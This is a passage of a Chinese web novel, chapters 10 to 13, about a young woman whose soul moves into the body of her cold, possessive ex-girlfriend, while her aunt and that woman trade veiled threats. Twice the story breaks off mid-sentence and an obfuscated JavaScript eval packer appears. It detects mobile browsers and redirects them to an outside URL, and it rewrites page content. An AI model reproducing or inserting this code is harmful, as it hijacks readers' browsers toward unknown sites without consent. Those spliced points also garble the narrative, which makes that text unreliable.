在同一时间,公司里面的明洛栖则是眼底暗沉的看着自己面前那两个一样的手机号。 这个手机号,是之前打进明镜手机中的那个号码,也是之前和她有过一次合作的那位商界新贵的联系方式。 她的指尖敲在了桌子上,最后还是拿起了手机直接打通了这个电话。 她要确定一件事情,这件事情,很重要。 …… 而另一边,在安静的书房之中只能够听见笔尖划过纸张的声音。 在林溪言离开后,商扶砚就回了书房处理起了工作。 那白皙骨感的手捏着一支笔原本在文件上签字的手,也不知是感应到了什么,顺滑的笔尖停顿了下来,只写了一半的字体落在了其上。 书桌前的人抬起了头,那双好看却又幽深的眸子中好似有些微光细微闪动了一下,但是却又很快被漆黑吞噬掉了。 她戴了一个复古银边框眼睛,整个人看着更显冷淡,同时还带着一些禁欲且不可侵犯的危险在其中。 安静的书房里好似在此刻都变得更为安静了下来。 “禁锢克制灵魂吗……”她很平静的自言了一句:“现在还能够在知道这一个血脉存在的人,不多了。” 商扶砚的反应很平静,或者说,有些手段与她而言,早已过时,如同过家家也不为过。 她能够感应到有人给了明镜一个东西,其上气息和来历让她有点觉得熟悉,但是商扶砚并没有特别的反应。 不过,这还是略微令商扶砚眼底神色微动了一下。 就这么想和她撇清关系拉开距离吗。 ‘叮铃铃~叮铃铃~’ 一道手机铃声打破了这个书房的那一份安静,商扶砚思绪回收,视线落在了放在一旁的手机上。 看到其上的来电显示后,商扶砚那双眸子微微的眯了一下,眼底神色更为幽暗了起来。 10. 偏执的前女友 电话铃声在书房空响,一秒、两秒…… 书房越是安静,就越发的衬托着那手机铃声格外的突兀清晰。 在手机铃声响起的最后一秒前,一只素白的指尖划过了手机屏幕。 铃声消失,书房安静,甚至是连正常人的呼吸声和心跳声都没有,但,那手机屏幕却又是亮着的。 电话,已然接通了。 但此刻,不光是书房之中安静莫名,手机里面也未曾传出来半分声音,同样是安静的,唯有电流的声音细微的流动在其中。 背光而坐的商扶砚,有着一半身影隐匿在了暗处,显露在光之下的肌肤却又呈现着透明的白,神秘又危险。 接通了的电话,双方两边都在安静的博弈。 但是最后,电话里面还是响起了明洛栖的声音打破了这一份安静,她选择了主动进攻和出击,而不是在继续的等待。 “我是否该说一句,好久不见,商总。” 明洛栖的嗓音也是极为的平静,不激进,甚至是算的上心平气和,但其中却又满是意味深长。 坐在椅子上,手里拿着一支笔的商扶砚,眼帘阖动了一下,她的脸上并无什么情绪神色变化。 明洛栖的话,并未让商扶砚有何太大的反应。 “明家落栖。”她淡淡一句。 —— 办公室里面坐着的明洛栖,脸上眼底神色晦涩明灭不定。 她的视线落在那已然接通的手机电话上,电话那边的安静,好似直接蔓延到了办公室里面。 等到电话那端响起了那一道清冷不夹杂着任何情绪的四个字的声音在这安静的环境中响起后,明洛栖的呼吸都放的越发的轻了。 原本放松落在扶手上的手,指尖微动了一下。 因为,这道冷淡漠视好似不带丝毫情感的声音,和她记忆深处的那一道声音重合了。 而对方甚至是没有任何的遮掩,她接下了她的试探。 一时间,办公室里,好似越发安静的可怕了起来。 …… 短短两句话,双方好似已然交战了好几个回合了。 书房中的商扶砚,她的坐姿也是呈现放松姿态,好似并未察觉到那略显降入了冰点的气氛。 “比起前几代,你算的上如今明家最出色的一个。”她的声音很平静:“能够查到我,想来之前没少暗中调查吧。” 明洛栖换了一个坐姿:“如果您不想让我查到,在我让人去调查的时候,所有的线索就应该都被抹除掉了吧。” 反之,明洛栖能够查到她,这就说明,她没有把这些放在眼里,知道,但不在乎,因为无关紧要。 明洛栖的眸子略微的眯了一下,她只觉得对方一如多年前在医院之中的一次见面般,冷漠的没有半分情感。 电话那边的商扶砚并未有什么回应,明洛栖也不在乎。 而是接着开门见山道:“四年前,鹤岭高中,那位叫商扶砚的高三学生就是您吧。” 电话那边商扶砚握着笔的的手微不可查的顿了一下。 “所以呢。”语气没有丝毫变化,淡然平静无波。 她没有直接承认,也未曾否认。 但是这话,却是令明洛栖直接就当她是了。 明洛栖的视线落在了一旁放在了办公桌上的那一份调查文件上。 看到那文件上面带着的那一张普通的学生照片时,明洛栖眼底神色格外的幽暗, 或许旁人看这一张照片当真只会以为这真的只是一个长相普通的学生罢了。 但是明洛栖知道,那个人有着令普通人看不穿她真容的能力,若是她想,那么普通人所见她时,不是一张普通面容,就是一张有些略显模糊的面孔,难以令人看的真切。 如她人一般,似迷雾一样。 —— “调查和记载,你从来不为她人所停留,为何对阿镜如此特殊,商大人。” 明洛栖加重了后面三个字的语气,有些时候,对于有些人来讲,拐弯抹角就是在浪费时间。 大家都是聪明人,甚至是或许对对方带有满满的不喜与忌惮敌意在里面。 所以有些话,敞开了说最好,这样也就免了和对方多说上一个字的可能。 因为隔着一个手机,所以明洛栖也看不见电话那边商扶砚是一个什么反应。 但是电话里面却已然又安静了下来。 …… 书房中,商扶砚的指腹摩擦着笔杆,明洛栖的话落进了她的耳中,但是却没有引来她什么变化。 但也不能说什么变化都没有,至少,她的眼帘微微的落下了些许,遮挡住了那一双如幽潭的眸子。 眼底暗的没有丝毫亮光可以落入其中,隐约的好似在涌现着些许什么,但是却又很快的被压制了下去。 她格外冷静平淡了在这个安静的气氛中吐出了几个字。 “明镜,是我的。” 很淡然无波的一句话,却充斥着浓浓的占有欲和偏执在里面,她在宣示自己的主权,对明洛栖宣示自己的主权。 电话中又如死一般的寂静了下来。 办公室里的明洛栖,指尖已经收紧了,深暗的眼眸之中闪烁着格外危险的神色在里面。 即便是看不到对方的身影,但是明洛栖已然可以想象到,对方说这一句话时是一个什么眼神了。 因为她想到了二十二年前在医院时,对方那看向当时的明镜是什么眼神,此刻,或许说不定也是如此。 或许比二十二年前的那个眼神还要更加的不清白和明显。 明洛栖唇瓣紧抿着,但是继而她却是轻声笑了一下。 “阿镜知道吗?不知道吧,如果她知道了,一定会把您当变态处理吧。” 她是在嘲笑,也是在冷讽。 “这是我和她的事情,而现在的你,是在以什么身份来质疑我?小姨?明家后人?还是其他?”那边的商扶砚对此并没有什么情绪波动:“明洛栖,或许该摆正自己位置的人,是你,毕竟,没有那个小姨会对自己的侄女产生亲情之外的感情。” 明洛栖的脸色隐约有些难看,指甲嵌进了掌心之中。 很明显是被商扶砚的话戳中了她心底最为隐秘而见不得光的一面。 她的情绪有所波动,但是却又很快冷静了下来。 “姓明,不代表就一定是明家人。”嗓音带上了几分幽冷:“你说呢。” 带有深意的话你来我往,都懂其中意思,但就是要它变成一把利刃刺向对方。 之后那一通不过一两分钟的电话被挂断后,不论是公司办公室还是书房里,都一致的变得格外的沉寂了下来。 ———— 因为是请风絮她们来解决问题的,所以明镜这边把风絮她们安排到了自己名下的一个单身公寓里住,距离明家老宅也不是特别的远,有什么问题情况可以及时的处理。 和她们分开后,明镜就拿着风絮给她的东西回明家老宅了。 不过刚下车站在大门口的时候,一辆车子却是又停在了那大门前。 明镜站在台阶上转过身,车子停稳后,车门打开明洛栖的身影就从车上下来了。 在看到明洛栖时,明镜的脸上下意识的就扬起了一个笑容来。 “小姨。” 明洛栖脸上的神色好似变得更为温和了起来,张开双手把向着自己小跑过来的人接住。 抬手揉了一下明镜毛茸茸的脑袋,指尖也顺势理了理她的头发。 “这么大的人了,还不稳重。” 明镜有些不好意思的哎呀了一声,脚步往后稍稍后退了一小步,但是双手倒是自然而然的挽住了明洛栖的手臂。 “我平时很稳重的,小姨不是在公司吗,今天怎么回来这么早。” 明洛栖眼底闪过了一些幽幽暗芒,但是却又很快恢复了正常,温和笑看着明镜。 “今天工作不多,回来陪你们吃饭,下午可能会有一个客人来访,到时候再给你检查一下身体。” 听见这话,明镜脸上的笑容减少了些许,皱了一下鼻头:“对不起啊小姨,让你们为我这么担心。” 明洛栖轻点了一下她的眉心:“之前就说了,不许说这样的话,罚你今天晚上不准吃糖醋排骨。” 对于明镜,明洛栖是宠溺和有耐心的。 明镜立马就做出了一个投降的姿势,对着明洛栖撒娇,保证下一次不会这样说了。 后来两人倒是有说有笑的一起走进了明家大院里。 …… 她们一回家,好似有些清冷的老宅里也变得有些热闹起来了。 明镜也是有着朋友的,不过对方最近去了国外进修,所以对于明镜的身体情况没有什么察觉。 明镜在院子里坐着晒太阳,然后一边听着自己的好友抱怨国外的食物真难吃之 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明镜摇了摇头,水杯放下,也没有把这事儿放心上。 等她在拿起手机的时候,一打开,就看到了最近的通话记录。 一翻,明镜还在通话记录里面看到了一个熟悉的号码。 当初是她拿着手机用这个号码打了两通电话在她手机里面来,当时是她小姨接到的。 这是商扶砚的手机号。 其实按理说,等她回到了自己的身体里面时,她是可以打这一通电话过去和对方当面说话的。 之前明镜也想过约对方见上一面,不过后面倒是因为各种各样的事情给耽搁了,加上她也没有准备好,所以就一再搁置。 之前没准备好,现在又知道了自己和商扶砚之间还有着一层关系后,明镜就更加没有那个勇气主动打电话过去了。 毕竟一想想那个场景,明镜就有些尴尬的想要脚趾扣地了。 ———— 下午一直快要到晚上的时候,明镜还在后院陪着老太太聊天,倒是家里阿姨说客人来了后,明镜和老太太两人这才才从后院向着客厅走去。 在客厅前面,周身气质略显温和的明洛栖带着浅笑在和一个人说着话,两人走在走廊上,倒是有说有笑的。 两人之间到并没有什么客气和疏离,相处随和,看着倒像是认识许久的好友一般。 而那人一看年龄,也差不多和明洛栖年岁相仿,都是年轻美貌的气质女神。 明洛栖领着对方走进了客厅时,明镜和老太太也恰好从后院到了客厅里。 明镜在看到明洛栖身边站着的那个人时,她的眼皮略微的跳动了一下。 身体略微一顿的细微动作,被让她扶着的老太太察觉到了。 “阿镜认识?” 明镜笑着摇头:“不认识,只是觉得对方长得年轻,和小姨一样。” 老太太笑了笑,也没有说什么了,然后和明镜在往前走去。 明洛栖两人看到她们时,脚步也停了下来。 “给你们介绍一下,这位是林医生,林溪言,她们……” 作为中间人,明洛栖给两方人都做了个一个介绍。 不过林溪言走进客厅后,视线落在明镜身上时,眼底有着一些疑惑和探究的神色在其中。 “明阿姨好,阿镜好。” 明镜在看到林溪言的时候,也带着笑意伸出了手:“你好,林医生。” 两人的手轻握了一下然后就分开了,不过林溪言的视线落在了明镜的脸庞上。 “我觉得你好像有点眼熟,之前有见过吗?”她有所疑问,也问了出来。 “可能我和我小姨长得有点像的原因。”明镜浅笑丝毫不露破绽且冷静的看着她:“我这是第一次见林医生。” 林溪言看着她脸上的那一抹浅笑,略显怀疑:“是吗?” 一旁的明洛栖听见这个对话,不动声色的往明镜身旁站在了一下。 “先这边坐吧。” 明洛栖的声音打断和转移了林溪言的注意力。 然后转身倒是和明洛栖先向着沙发那边走去了,不过落后她们一步的明镜,看着林溪言的背影,略微的有些意外。 因为她没有想到,今天来的人会是林溪言。 11. 偏执的前女友 明镜半坐靠在床上,腿上搭了一条薄毯。 她微微的偏着头看着放在床边的那些便捷检查仪器,视线最后停留在了那些细长银针上。 房间里此刻只有两个人,林溪言在背对着明镜调试着待会儿要用到的仪器。 其实林溪言带来的东西,现代仪器很少,倒是中医方面的准备好似要多上一些。 之前在商扶砚身体里面和林溪言接触过一两次,知道她是医生,倒是不知道,这人原来还是擅长中医方面的。 看到林溪言那稍显一本正经的样子,明镜就想起这人有些不太正经严肃的那一面。 …… 房间里安静,林溪言好似察觉到了明镜那似有若无带着一些打量的眼神落在自己的身上。 手里拿着针包,转过身时就直接和明镜那一双眼睛对视上了。 明镜也并未因为看对方而被抓包的那种不好意思,反而是对她笑了一下。 林溪言却是身体微微的顿了一下,对上明镜那清透的眸子,还有那笑容时,她总觉得有点怪怪的。 因为她觉得这一幕好似有些熟悉,但是却又想不起来自己到底是在哪里见过的。 难道真是因为和明洛栖长得又一点点相似的缘故? 其实说起来,从见到明镜的第一眼,林溪言觉得这人给她一种熟悉的感觉之外,这个小姑娘各方面其实都好似有着明洛栖的影子在身上。 不是说两人真的长得有多相似,相反,林溪言觉得这两人其实长得不怎么像, 但是周身那气质却有点一脉相承的那个意思了。 明洛栖给人就是那种温润又带着冷淡疏离之感的感觉,看着很是好相处的样子,实则是一点儿都不好相处。 明镜的话,给人就是一种随和之感,气场和明洛栖有点相似,还有那从骨子里散发出来的矜贵,也说明她在明家是真的极为受宠。 这一大一小,美的各有千秋和气质。 只不过一个更要成熟稳重,而另一个则是充满了年轻朝气。 明家双姝,也不止是传闻。 —— 林溪言和明镜对视的那一眼后,对这人好似有了一些判断,她拿着针包走到床边,然后在凳子上坐了下来。 “不用害怕,正常检查而已,先给你把个脉吧。” “不害怕。”明镜轻笑,把手伸了出去:“林医生是学的中医吗?” 林溪言把手落在了明镜的脉搏上,闻言嗯了一声:“其实也不算,我大学专业学的是临床,中医的话,从小就在开始学了。” 明镜了然了:“小时学医,看来林医生家里还是中医世家了。” “算不上算不上,赤脚医生而已。” 房间里,两人倒是有一句没一句的聊些有的没的。 不过林溪言指尖落在明镜的脉象上后没多久,她的眼皮就好似略微的跳了一下,最后若无其事的出声。 “洛栖和我说过你的病情了,时常无故昏睡之后,你有感受到什么吗?或者……是其他?” 她的这话一出,明镜脸上神色略微顿了一下,虽然只有短暂一秒就恢复了正常,但是林溪言却是观察到了。 不过林溪言看的却不是她的神色变化,而是脉搏。 察觉到她的异样,林溪言就知道,这人有什么事儿还瞒着明洛栖没有告诉过她。 或者说,她知道自己为何会无辜昏睡。 “感觉?林医生指的是那一个方面?”明镜看着她:“林医生知道我为什么会昏睡了?” 和少女那双清透的双眼对上,林溪言收回了自己的手,她摇了摇头。 “先给你扎两针吧。”她一边说着,然后打开了那个针包。 明镜把自己的手收了回来,看着林溪言的侧脸。 她怎么觉得这位林医生是在骗她呢? 而在挑选适合银针的林溪言缓缓道:“说起来,你的这个情况,和我之前遇到的一个病人有些相似。” 明镜:“相似?” 林溪言拿着一根银针抬起头看着她,点点头:“是啊,也是无缘无故的昏睡,一睡就睡上好几天,但是你知道吗,每一次她醒来后,就会告诉家里人,她昏睡之后发生的事情,说自己灵魂离体了,你说这神奇不神奇,。” 明镜指尖微顿了一下,她看着脸上带着笑意的林溪言。 随后明镜却是笑了一下,点头:“听着是挺神奇的,不过世界之大,科学解决不了的事情,不是还有玄学么。” 林溪言嗯了一声:“是这个意思,没看出来,你年纪也不大,也想会相信神秘学。” 明镜干笑:“好奇。” 林溪言点头,然后也没有在说什么了,她只是让明镜把左手伸出来,然后自己开始给明镜扎针。 在林溪言施针的这个过程中,两人倒是没有在说什么话了,房间里安静了下来。 …… 大约一个多小时后,林溪言把银针放回了针包里。 明镜站在她的身后整理着自己的衣服,然后也走过去帮林溪言收拾东西。 在她弯腰的时候,藏在衣服领口里的玉珏却是滑落了出来,明镜没有什么感觉,倒是被林溪言看到了。 看到那个玉珏的时候,林溪言的手中的动作停了下来,眼里多了一些探究古怪的神色在里面。 就在她要开口说什么的时候,房间门却是被敲响了。 明镜和林溪言都抬起头看了过去,明洛栖走进了房间。 “好了?” 林溪言看了一眼明镜,收敛起了眼底的那些神色,带着笑意的点头。 “差不多了,不过具体情况,我可能还需要回去翻一下医术。” 明洛栖:“无事,按照你的节奏来就行,晚餐准备好了,先下去吃晚饭吧。” 林溪言应了声好,同时明洛栖走到了明镜的身边,拿了一件外套披在了她的身上。 两人之间的相处自然,看着好似没有什么,但是却又比普通的姨侄关系更加的亲密一些。 林溪言在向着一些事情,所以也并没有察觉,她看到了,但是也没有多想。 后来三人拿着东西就一同离开了房间。 晚饭过后,林溪言就直接离开了,她人一从明家走出去后,上了车后,就迫不及待的打了一个电话出去。 …… 明家老宅里,晚饭过后,明镜和明洛栖两人聊了一会儿天,然后她就回房间去了。 明镜却是没有发现,她身后看着她回房间的明洛栖,是用着一个什么样的眼神看着她的。 神色温柔又带着缠绵绻意,爱意好似在深邃的眼底深处肆意蔓延着。 明镜没有注意到,但是刚下楼的老太太却是看到了。 她站在楼梯上,把明洛栖那看向明镜的眼神变化尽收眼底。 老太太的手握着扶手,她没有出声,倒是等到明镜的身影全然看不到后,明洛栖收回了视线,她微微抬头看向了站在楼梯上的看着她的老太太。 明洛栖安静沉默的看着她,没有说什么,也没有解释什么。 老太太也是安静的看着她,后来她说了一句:“去书房,我们谈谈吧。” 明洛栖沉默一瞬,后来还是嗯了一声,老太太先转身又上了楼。 至于后来明洛栖去了书房后,她们两人聊了什么,也只有她们自己知道。 ———— 但是第二天,明镜睡醒之后,她所看到的不是自己那熟悉的房间,也不是那个风格略显冷淡的房间。 睁开眼的第一眼,她脑子还迷糊的时候,然后入眼所看到的,却是镜子中那所倒映出来的一具完美比例的身躯。 而且更加关键的是,镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339082|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子中的身影,一件衣服没穿那种…… 明镜:“!!!” 明镜直接就被惊吓的瞌睡都没有了,cpu差点儿都快要被烧干了。 “干嘛啊这是!” 明镜只是瞬间就感受到了自己脸颊火辣辣的滚烫了起来,她下意识的就闭上了双眼。 在她闭上眼睛后,就想伸手把一旁挂着的浴袍拿下来裹在身上。 因为这具身体,她就算是不熟悉,但是也看得出来,这是商扶砚的身体啊! 不过她刚有这个想法时候,她却是发现自己好像根本没办法操控这具身体了。 因为伸出去的手,刚抓着了那浴袍,但是下一瞬,浴袍还没有扯下来,那手指就先松开了。 在明镜还在发懵的时候,一道声音却是在她的脑海中炸响开了。 “我是要去洗澡。” 明镜:“?” 明镜:“!!!” 那声音在耳中响起的时候,明镜瞬间就升起了一些惊悚感来。 哪怕她在努力遏制自己,不让自己发出一些惊慌的叫声,但是后来还是没忍住放大了声音惊呼出声。 “商、商扶砚?” 这什么情况,她和商扶砚的意识在同一个时间,同一个身体里面保持着一致的清醒吗? 事发突然,而且这也是明镜之前没有设想过的场面,她一时间都不知道该作何反应了。 而站在镜子前的商扶砚没有特别的反应,她只是嗯了一声。 然后转身就赤脚走进了隔间淋浴间里面,花洒打开,哗哗流水声瞬间就在这个浴室里面响了起来。 明镜的惊讶和那一系列的反应,都未曾让她受到丝毫的影响。 她人站在花洒下,任由那水珠流淌在那一具身躯之上,然后滑落在瓷砖上。 而在她身体里面的明镜也终于是慢慢找回自己的理智了。 商扶砚是这具身体的主人,所以此刻明镜处在一种,她可以看到和感知到一切,但是却不能够控制这身体。 她能够清楚的感知到,那水流划过身体的感觉,也能够感受到,商扶砚的指尖落在那身体上的触感。 这种体验和感觉,明镜第一次遇到,有种令她头皮发麻的感觉。 那种感觉太过奇怪了,让明镜想要让商扶砚停下来,但是又觉得好像说什么都有点不太合适。 后来明镜一直安静的在商扶砚身体里面忍耐着,等到浴室中的流水声消失后,看到商扶砚伸手扯了一条干毛巾来擦身体时,一直忍耐着的明镜这才有些松了口气。 但是明镜却未曾看到的是,手拿毛巾擦着身体的人,听到她的声音后,眼底多了些许微光在其中闪动。 等走到干湿分离的浴室外面后,等商扶砚又站在了那镜子前时,刚才闭眼太快,但是此刻恍惚一眼看过去的明镜,却是看到了镜子里那肌肤冷白的身体上,有着不少的红色痕迹。 明镜都未曾来得及多想,直接就脱口而出:“你过敏了?” 指尖理着有些湿润了的发丝的商扶砚,听见脑海中响起的那道声音,她的动作直接就微微的停顿了一下。 眼帘微抬,她和镜子中的那双眼睛对上,那双如墨的眸子里,其中满是幽深和意味深长在其中。 “你可以当做是,不过,你要知道,我是一个成年人。” 商扶砚的语气格外的正常平静,她说完后,放下了手,然后把刚才明镜想要扯下来的浴袍拿了下来穿在了身上,遮挡住了那一具柔美纤细又格外美好的身躯,一边系着腰带,一边走出了浴室。 而明镜听见她的话后,脑子一时间还没有反应过来。 甚至是在想,过敏和成年人能够扯上什么关系? 但是很快,明镜就反应了过来,但在懂了的那一瞬间,她就尴尬了。 她不该多嘴的…… 12. 偏执的前女友 若是此刻这具身体的主意识是明镜的话,说不定脸颊上早已有了红霞。 不过却也还是有意外的,因为商扶砚顶着一张冷感十足的脸,但是她被明镜的情绪所影响,耳朵白里透红的,看着违和感十足。 商扶砚倒是淡定,下了楼直接走进了厨房,至于隐约发烫发红的耳朵她好似并无什么感觉一般。 在她身体里面,从刚才的对话之后就安静沉默下来的明镜,默默的安慰自己,没关系的,大家都是成年人,她害羞什么啊! 只不过一句话而已,又不是在别人那什么的时候跑进了商扶砚的身体里面亲眼撞见了。 不羞不羞,也没什么好尴尬的! 明镜自我催眠,企图这个样子说服自己。 …… “想吃什么。” 已经走进了厨房的商扶砚,一边系着围裙,然后在这个安静的氛围之中说了一句话。 自我催眠而且还想要把自己藏起来,甚至是当自己不存在的明镜,突然听见商扶砚的声音,她下意识的啊了一声。 “你说什么?”明镜出声。 商扶砚那好似格外冷淡疏离的脸上也并未有着不耐烦的神色,双手从身后放在了前面。 她嗓音没有什么变化的重复道:“我说,你想吃什么早餐。” 明镜:“?” 明镜着实是因为她的话而懵了一下。 “我吃什么早餐?”明镜带着些许不确定的疑惑询问:“我还可以吃早餐?” 不是,她都被困在商扶砚身体里面了,她吃什么早餐啊? 难道她说了想吃什么,待会儿就能够吃到? 商扶砚或许是听出了她的迟疑和不确定的语气在其中,她的指尖略微的顿了一下,然后淡淡的来了句。 “哦,忘了你吃不了。” 明镜:“……” 这一刻,明镜严重有理由怀疑,这人是在挤兑她!绝对是! 寄人篱下,而且她现在比寄人篱下好像还要更加离谱,明镜倒是想要有心反驳两句,但思考了一下自己现在的处境,她闭嘴了,权当什么都没有听见。 在明镜安静下来后,商扶砚已经熟稔的在厨房弄起了早餐来了。 厨房安静,明镜也不吭声说话了,像似离开了,商扶砚更加像是一个寡言不会多说两个字的人,所以此刻只能够听见煤气灶的声音。 —— 明镜也不是真的两眼一闭,两耳不闻窗外事了。 相反,她在安静默默的观察着商扶砚这个人。 她觉得这人可真有意思,面对她们现在的这种情况都不带害怕惊慌的吗? 自己的身体里面突然多了一个其他人的灵魂意识,而且还是自己曾经的前女友,这换了任何一个人,都做不到如此的淡定吧? 偏偏她还有闲心吃早餐。 怪人,明镜想着。 最后明镜想着想着,思绪也不知道怎么就跑偏了。 因为她想起来,商扶砚现在吃早餐,也就说,现在时间是早上。 啊,商扶砚原来是习惯早上洗澡的吗? 这什么习惯,不觉得浪费时间和麻烦吗? …… 待在商扶砚身体那一亩三分地里面的明镜东想西想的。 但是已经端着弄好了的早餐坐在了餐桌前的商扶砚,原本拿着勺子的手却是莫名的轻颤微顿了一下。 手腕下压,勺子落进粥碗里面时,她那张清冷的脸上也好似多了一些难以察觉的复杂神思在上面。 她一瞬间的异样,虽然不明显,甚至是让人见了也只会以为是错觉,但是她此刻那紧捏着勺柄的指尖有点用力,说明她那平静淡然的心湖,确实是在那一瞬间荡起了涟漪。 指尖松开,转手却是勾起了一旁的水杯,商扶砚神色平淡的喝了一口。 但是在感知到那些乱七八糟的想法还在不断的在脑海中想起时,商扶砚那平淡冷静的神色中,终究是还夹杂上了一些复杂情绪在里面。 “不要胡思乱想。” 商扶砚那低沉的声音好似就凑在明镜的耳边响起,这让好似在沉思走神乱想的明镜怔愣了一下。 “你知道我在想什么?”明镜回神后,她的声音声音都不自觉的放大了一些。 商扶砚重新拿起勺子,动作优雅的吃着早餐。 明镜那略微有些震惊的声音,让她轻声嗯了一声。 但是随后又顿了一下道:“和我不相关的我不知道。” 意思就是,和我有关的,我可能知道。 明镜:“……” 你这话说了和没说有什么区别吗? 该想的不该想的,她都想了,现在说这话还有什么用吗? 明镜是真的觉得天快要塌了。 那种感觉就像是自己死了,但是手机还留存着,最后还被亲戚朋友家人公开处刑的那种感觉。 明镜深吸了一口气,安慰自己,冷静冷静,没有什么事情是装聋作哑糊弄不过去的! 反正这犯蠢也不是一次了,习惯就好,习惯就好。 明镜安慰好了自己后,她看着还冷静淡定吃早餐的人。 “你对我们现在这个情况,就没有什么想法看法吗?” 商扶砚:“你想让我有什么想法看法?” “那也不可能一直维持着这种情况吧。”明镜沉默一下说着:“这对我们得生活多少会有点不方便不是。” 吃着早餐的商扶砚嗯了一声。 原本还在等她后面会说上什么话的明镜,结果等了好一会儿,就愣是没有等到对方的下一句话。 “你就‘嗯’一声?”明镜反应有点大。 商扶砚:“还行。” 明镜:“……” 这日子真的是一点都过不下去了! 这家也是一点儿都待不了了! 要不是现在被困在商扶砚身体里面,明镜说不定起身扭头就拿着包头也不回的离开了。 这破事儿谁爱管谁管,她是一点儿不想管了! 还有这个闷葫芦,真的是和之前一样的无趣,一点儿都没有什么变化! 明镜只觉得心口都因为商扶砚的反应而憋闷的不行了。 如果可以,她是真想离家出走…… …… 明镜的突然沉默和安静,但是却也让商扶砚感受到了她的情绪波动的有些厉害。 商扶砚没有什么反应,吃完早餐就把碗筷收起来放进了洗碗机里。 但是在明镜所看不到的地方,商扶砚那冷淡的面容上,神色明显是变得柔和了些许下来。 她很喜欢身体之中那产生的鲜活活力的情绪一面。 因为这样,才让她有了一丝真实的感觉。 那是……鲜活的明镜……终于还是回到了她身边…… ——— 第一次企图交涉的明镜,在被商扶砚气的安静沉默后,她就在没有开口说话了。 不过等看到商扶砚回房间换衣服时,明镜还是无可避免的觉得有些窘迫尴尬。 她不想看吧,但是又根本控制不了,因为商扶砚所见所触所感的一切,她都能够感同身受……这就有点bug了。 而且她的想法有时候还会被商扶砚所知晓…… 天知道明镜不想理商扶砚这个无趣的人时,她还在绞尽脑汁的像,要怎么做到放空自己的大脑,免得乱想之后又被商扶砚知道了。 太难了,明镜是真的觉得这日子太难过了! 所以沉浸在自己想法中的明镜,对于商扶砚的那一缕微不可查的情绪起伏波动,她是根本就没有捕捉到的。 但商扶砚的心思幽如深渊,永远把自己的真实想法藏的很深,所以就算是明镜主动的探知感受,其实也不一定能够知道些什么。 后来在商扶砚换了一身衣服后,她也没有拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339083|167825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么东西就出门了。 明镜也没有开口出声问她要去哪里,她是打定主意绝对不在商扶砚开口说话前和她说一句话。 商扶砚的车子之后是开进了一条略显冷清安静的街道上里面的,最后在那条街道最深处把车子停了下来。 这一条街上好似都没有几个人,但是却又好似不怎么缺客人。 街上有点古韵,开门做生意的人,买的东西也好似大多都是传统手工或者工艺物件,这些都是明镜所观察到的。 但是商扶砚后来却是直接走进了了街道末尾的那一个打开的店门里面。 在看到那店名的时候,明镜觉得这个店名取的有点奇怪。 等待? 明镜疑惑的时候,商扶砚已经走进去了,同时一个看起来年岁有些大了的老婆婆就走了出来。 “东家来了。” 商扶砚嗯了一声:“最近这段时间有东西送来吗。” 那老婆婆笑着点了一下头:“有的,一共有三件,老婆子知晓东家的规矩,所以只是让她们先放在这里,等您看了我在和她们联系。” 商扶砚点头:“拿里面去吧,我洗个手就过来。” “好。” 这个店是一个两进两出的四合院,面积看着很大,里面呈放物件好像也不少。 …… 在洗手台前,水龙头开着,泉水清冽,商扶砚的指尖落在其下,显得好似更为苍冷了两分。 墙壁上挂着的那一面镜子倒映着她的身影。 而明镜看了那双修长好看的手好几眼,最后还是没有忍住心底的好奇问了一句。 “这个店是你的啊?” 商扶砚眼帘往上撩了一下,她看着镜子中的自己。 听见脑海中明镜的声音,望着镜子中的自己的那双眼睛,有那么片刻,商扶砚是有些略微失神的。 因为镜子中的那双眼睛,在她的眼中,却并不是她自己的眼睛,而是另一双眼睛。 那双眼睛清透明亮,在镜子里面看向自己时,又好似带上了一些好奇的神色凝望着她。 商扶砚那带着透明水珠的苍冷指尖抬起,然后轻落在了那面镜子上。 她的指尖好似要透过那面镜子触碰到里面的那双让她有些略微失神的眼睛。 阿镜…… …… 在她身体里面的明镜,看到突然变得安静沉默下来,一直看着镜子的商扶砚,明镜疑惑了,这镜子有什么特别的地方吗? “商扶砚。” “商扶砚?” 她的声音在商扶砚的脑海中响起,商扶砚看着镜子中的那双眼睛,轻触在镜子上的指尖也从那光滑的镜面上落了下来。 转身去拿起了一旁的帕子擦手,整个人看起来没有一丝的异样,好似刚才的那片刻失神和令人捉摸不透的举动都不过是一次正常的行为。 “典当,存寄,修复。” 想着屏风后面走去的商扶砚嗓音平静的说了几个字,这是对明镜刚才的提问的答复。 明镜也并未把她刚才的行为放在心上。 “都是古物件?” 商扶砚:“嗯,都是古物件。” 在两人说话时,商扶砚已经走到屏风后面的那椅子上坐下了,实木桌子上放了不少的工具,同时还有三件包裹起来的物件。 想来是那位老婆婆拿出来放在了这里,但是却没看到老婆婆人了。 商扶砚抬手把其中一个拿了过来,然后直接打开了,里面放着的是一本年代久远且非常富有历史的竹简,看着也破损的极为严重。 “那店名怎么叫‘等待’?” 商扶砚落在竹简的上的手指顿了一下,眼帘微微的落下了些许。 随后她拿起了那一份散开的竹简。 屋外风铃响起时,商扶砚那清冷平静的声音才跟着响了起来。 “因为,在等一个不归人。” 13. 偏执的前女友 其实后来明镜并没有听见商扶砚说的那一句话。 